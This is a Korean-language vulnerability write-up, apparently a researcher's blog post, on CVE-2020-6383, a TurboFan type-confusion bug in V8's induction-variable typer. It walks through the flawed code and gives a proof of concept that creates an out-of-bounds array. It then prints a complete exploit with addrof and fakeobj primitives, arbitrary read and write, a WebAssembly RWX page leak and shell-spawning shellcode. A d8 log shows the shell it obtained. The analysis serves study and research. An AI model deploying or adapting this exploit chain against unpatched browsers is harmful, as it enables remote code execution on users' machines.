v8 1 day CVE-2020-6383

Pwnable
CVE

라온화이트햇 핵심연구팀 조진호

summary

turbofan 코드에서 v8 type confusion

1051017 - chromium - An open-source project to help move the web forward. - Monorail

issue 1051017: Type inference issue

TurboFan optimize bug

Vulnerability details

https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=25c49d2bd6cbdc72b0779545d2a32406657befda&l=845

Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN()); // *** 1 ***
  }

[...]

  if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
    increment_min = increment_type.Min();
    increment_max = increment_type.Max();
  } else {
    DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
    increment_min = -increment_type.Max();
    increment_max = -increment_type.Min();
  }

  if (increment_min >= 0) {
[...]
  } else if (increment_max <= 0) {
[...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger; // *** 2 ***
  }

취약점 발생 클래스는 Typer::Visitor::TypeInductionVariablePhi이고 해당 코드는 루프 관련해서 최적화를 진행하다가 발생한다. 반복문들 도는 경우 for (let i = start; i < end; i+=inc)와 같은 코드가 있다면 inc의 부호와 start를 보고 도는 반복문의 i의 범위를 지정해주는 코드이다.

const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);

먼저 여기서 both_types_integertrue로 세팅한다. startinc를 숫자로 kInterger로 설정한다.

// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
  Type resultant_type =
      (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
          ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
          : typer_->operation_typer()->NumberSubtract(initial_type,
                                                      increment_type);
  maybe_nan = resultant_type.Maybe(Type::NaN());
}

만약 설정이 되어있다면 결과의 형식을 판단하는데 이 코드에서는 inf가 있으면 NaN이 나올 수 있으니 검사한다고 적혀 있다. -inf + infNaN이 나오는데 이런 경우이다.

// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
  // Fallback to normal phi typing, but ensure monotonicity.
  // (Unfortunately, without baking in the previous type, monotonicity might
  // be violated because we might not yet have retyped the incrementing
  // operation even though the increment's type might been already reflected
  // in the induction variable phi.)
  Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                            : Type::None();
  for (int i = 0; i < arity; ++i) {
    type = Type::Union(type, Operand(node, i), zone());
  }
  return type;
}

그리고 만약 NaN이 나오거나, 두 숫자가 kInteger가 아닌 경우 range를 지정할 수 없다고 판단하여 들 어온 파라미터의 형식을 모두 넣어주고 타입을 되돌려준다.

if (increment_min >= 0) {
    [...]
    max = std::min(max, bound_max + increment_max);
  }
  max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
	  [...]
    min = std::max(min, bound_min + increment_min);
  }
  min = std::min(min, initial_type.Min());
} else {
  // Shortcut: If the increment can be both positive and negative,
  // the variable can go arbitrarily far, so just return integer.
  return typer_->cache_->kInteger;
}

[...]

return Type::Range(min, max, typer_->zone());

그리고 inc의 부호에 따라 range를 만들고 리턴하는데 부호가 양수([0, inf])나 음수([-inf, 0])가 아닌 경우에는 그냥 kInteger를 리턴한다. kInteger[-V8_INFINITY, V8_INFINITY]의 범위를 가진다.

지금까지 코드를 보면, kInteger타입으로 리턴을 하게 하려면 kInteger타입의 startinc가 있어야 하며 inc의 부호가 음수와 양수를 가져야한다는 것을 알 수 있다. 그러면서 startinc를 더했을 때 NaN이 나오게 해야 한다.

if (both_types_integer) {
  Type resultant_type =
      (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
          ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
          : typer_->operation_typer()->NumberSubtract(initial_type,
                                                      increment_type);
  maybe_nan = resultant_type.Maybe(Type::NaN());
}

이 코드를 보면 한번만 연산하여 NaN인지 판단한다. 하지만 반복문 내에서 inc값이 바뀐다면 이 코드를 우회하여 NaN을 만들 수 있다.

PoC

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }

  var value = Math.max(i, 1024);
  value = -value;
  value = Math.max(value, -1025);
  value = -value;
  value -= 1022;
  value >>= 1; // *** 3 ***
  value += 10; //

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

oob가 가능한 코드이다. i에 실제 값은 NaN인데 kInteger타입으로 되어있다. 실제 oob 타입을 만드는 변수는 아래 연산으로 만들어진다.

var value = Math.max(i, 0x100);  // [0x100, inf]
value = -value;                  // [-inf, -0x100]
value = Math.max(value, -0x101); // [-0x101, -0x100]
value = -value;                  // [0x100, 0x101]
value -= (0x100);                // [0x2, 0x3]

value >>= 1;                     // NaN >> 1 = 0
value += 10;                     // 0 + 10

변수 range의 범위를 조정하여 3번째 줄에서 무조건 value를 선택하게 만들어 실제 range와 값을 다르게 만들었다. JIT이 적용되지 않은 경우에는 NaN으로 모두 NaN이 나오다가 밑에서 value >>= 1 에서 0으로 세팅된다. JIT이 적용되면 NaN(0)인 값을 가진채로 value -= 0x100을 하게 되어 음수가 되는데 range[2, 3]이라서 Array를 생성할 때 체크를 우회하게 된다.

exploit

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

var yee2;
function trigger() {
    var x = -Infinity;
    var k = 0;
    for (var i = 0; i < 1; i += x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
    }

    var value = Math.max(i, 0x100); // [0x100, inf]
    value = -value; // [-inf, -0x100]
    value = Math.max(value, -0x101);    // [-0x101, -0x100]
    value = -value; // [0x100, 0x101]
    value -= (0x100); // [0x2, 0x3]

    value >>= 1;
    value += 10;

    var array = Array(value);
    array[0] = 1.1;
    arr2 = [{}, 2.2, 2.2, 2.2, 2.2, 2.2];
    // yee2 = arr2;
    // var b = [2.2, 2.2, 2.2, 2.2, 2.2];
    yee2 = arr2;
    return [array, {}];
};

trigger();

for (let i = 0; i < 100000; ++i) {
    trigger();
}

yee = trigger()[0];
yoff = 0;

function addrof(o) {
    yee2[0] = o;
    yee2[1] = o;
    return yee[yoff].f2i() >> 32n;
}

function fakeobj(o) {
    o = o & 0xffffffffn;
    yee[yoff] = (o << 32n | o).i2f();
    return yee2[0];
}

function main() {

    for (let i = 10; i < 0x100; i-=-1) {
        if ((yee[i].f2i() & 0xffffffffn) == 0xcn) {
            yoff = i+1;
            break;
        }
        if ((yee[i].f2i() >> 32n) == 0xcn) {
            yoff = i+1;
            break;
        }
    }

    console.log("yoff", yoff);
    let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1];

    console.log("WASM start");
    var wasm_code = new Uint8Array([0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x85, 0x80, 0x80, 0x80, 0x0, 0x1, 0x60, 0x0, 0x1, 0x7f, 0x3, 0x82, 0x80, 0x80, 0x80, 0x0, 0x1, 0x0, 0x4, 0x84, 0x80, 0x80, 0x80, 0x0, 0x1, 0x70, 0x0, 0x0, 0x5, 0x83, 0x80, 0x80, 0x80, 0x0, 0x1, 0x0, 0x1, 0x6, 0x81, 0x80, 0x80, 0x80, 0x0, 0x0, 0x7, 0x91, 0x80, 0x80, 0x80, 0x0, 0x2, 0x6, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x2, 0x0, 0x4, 0x6d, 0x61, 0x69, 0x6e, 0x0, 0x0, 0xa, 0x8a, 0x80, 0x80, 0x80, 0x0, 0x1, 0x84, 0x80, 0x80, 0x80, 0x0, 0x0, 0x41, 0x2a, 0xb]);
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;

    // found a
    offset = (addrof(a) - addrof(yee) - 0x10n) / 8n
    console.log("offset", offset);

    function read64(addr) {
        let r = (addr-0x8n) & 0xffffffffn;
        yee[offset] = (r << 32n | r).i2f();
        return  a[0].f2i();
    }

    function write64(addr, value) {
        let r = (addr-0x8n) & 0xffffffffn;
        yee[offset] = (r << 32n | r).i2f();
        a[0] = value.i2f();
        return true;
    }

    // leak rwx address
    let wasm_instance_addr = addrof(wasm_instance);
    console.log("wasm_instance_addr", wasm_instance_addr.toString(16));
    let rwx = read64(wasm_instance_addr+0x68n);
    console.log("rwx", rwx.toString(16));

    // write
    let arr = new ArrayBuffer(0x100);
    let arr_addr = addrof(arr);
    write64(arr_addr+0x14n, rwx);

    // alloc
    shellcode = [ 0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b];
    let z = new Uint32Array(arr);
    for (let i = 0; i < shellcode.length; i-=-1)
        z[i] = shellcode[i];

    let zz = new BigUint64Array(arr);
    for (let i = 0; i < 0x20; i-=-1)
        zz[0x80/8 + i] = rwx;

    // fail wasm exception
    f();
}

setTimeout(main, 500);

address compression이 적용된 v8을 익스하는건 처음이라 “이렇게 하면 된다~” 라는걸 따라해서 코드를 만들어 봤다. webassembly으로 rwx를 만들면 에러 핸들링 하는 함수들의 포인터가 rwx영역의 시작지점 부근에 쌓이길래 이거로 트리거 했다.

0x000029024a482048│+0x0048: 0x00007ffff61d4da0  →  <Builtins_ThrowWasmTrapUnreachable+0> push rbp
0x000029024a482050│+0x0050: 0x90660000000225ff
0x000029024a482058│+0x0058: 0x00007ffff61d4f00  →  <Builtins_ThrowWasmTrapMemOutOfBounds+0> push rbp
0x000029024a482060│+0x0060: 0x90660000000225ff
0x000029024a482068│+0x0068: 0x00007ffff61d5060  →  <Builtins_ThrowWasmTrapUnalignedAccess+0> push rbp
0x000029024a482070│+0x0070: 0x90660000000225ff
0x000029024a482078│+0x0078: 0x00007ffff61d51c0  →  <Builtins_ThrowWasmTrapDivByZero+0> push rbp
0x000029024a482080│+0x0080: 0x90660000000225ff
0x000029024a482088│+0x0088: 0x00007ffff61d5320  →  <Builtins_ThrowWasmTrapDivUnrepresentable+0> push rbp
0x000029024a482090│+0x0090: 0x90660000000225ff
[...]
0x000029024a482218│+0x0218: 0x00007ffff61fc340  →  <Builtins_DoubleToI+0> push rcx
0x000029024a482220│+0x0220: 0x90660000000225ff
0x000029024a482228│+0x0228: 0x00007ffff5fdfec0  →  <Builtins_I32PairToBigInt+0> int3 
0x000029024a482230│+0x0230: 0x90660000000225ff
0x000029024a482238│+0x0238: 0x00007ffff5fdfce0  →  <Builtins_I64ToBigInt+0> push rbp
0x000029024a482240│+0x0240: 0x90660000000225ff
0x000029024a482248│+0x0248: 0x00007ffff5fbb4e0  →  <Builtins_RecordWrite+0> push rbp
0x000029024a482250│+0x0250: 0x90660000000225ff
0x000029024a482258│+0x0258: 0x00007ffff5fdbf60  →  <Builtins_ToNumber+0> push rbp

이런 핸들러들이 쌓여있는데 여기를 내가 원하는 rwx로 덮어버리면 웹어셈 코드에서 해당 에러가 났을 때 그쪽으로 뛴다.

임 ~/hdd/v8/v8/out/x64.release ./d8 ~/Workspace/b.js                                                                                                73f88b5f69
yoff 11
WASM start
offset 51
wasm_instance_addr 8211ed5
rwx 115abb56b000
$ id
uid=1000(wwwlk) gid=1000(wwwlk) groups=1000(wwwlk),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
$ pwd
/hdd/v8/v8/out/x64.release

reference

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017

https://lordofpwn.kr/cve-2019-8506-javascriptcore-exploit/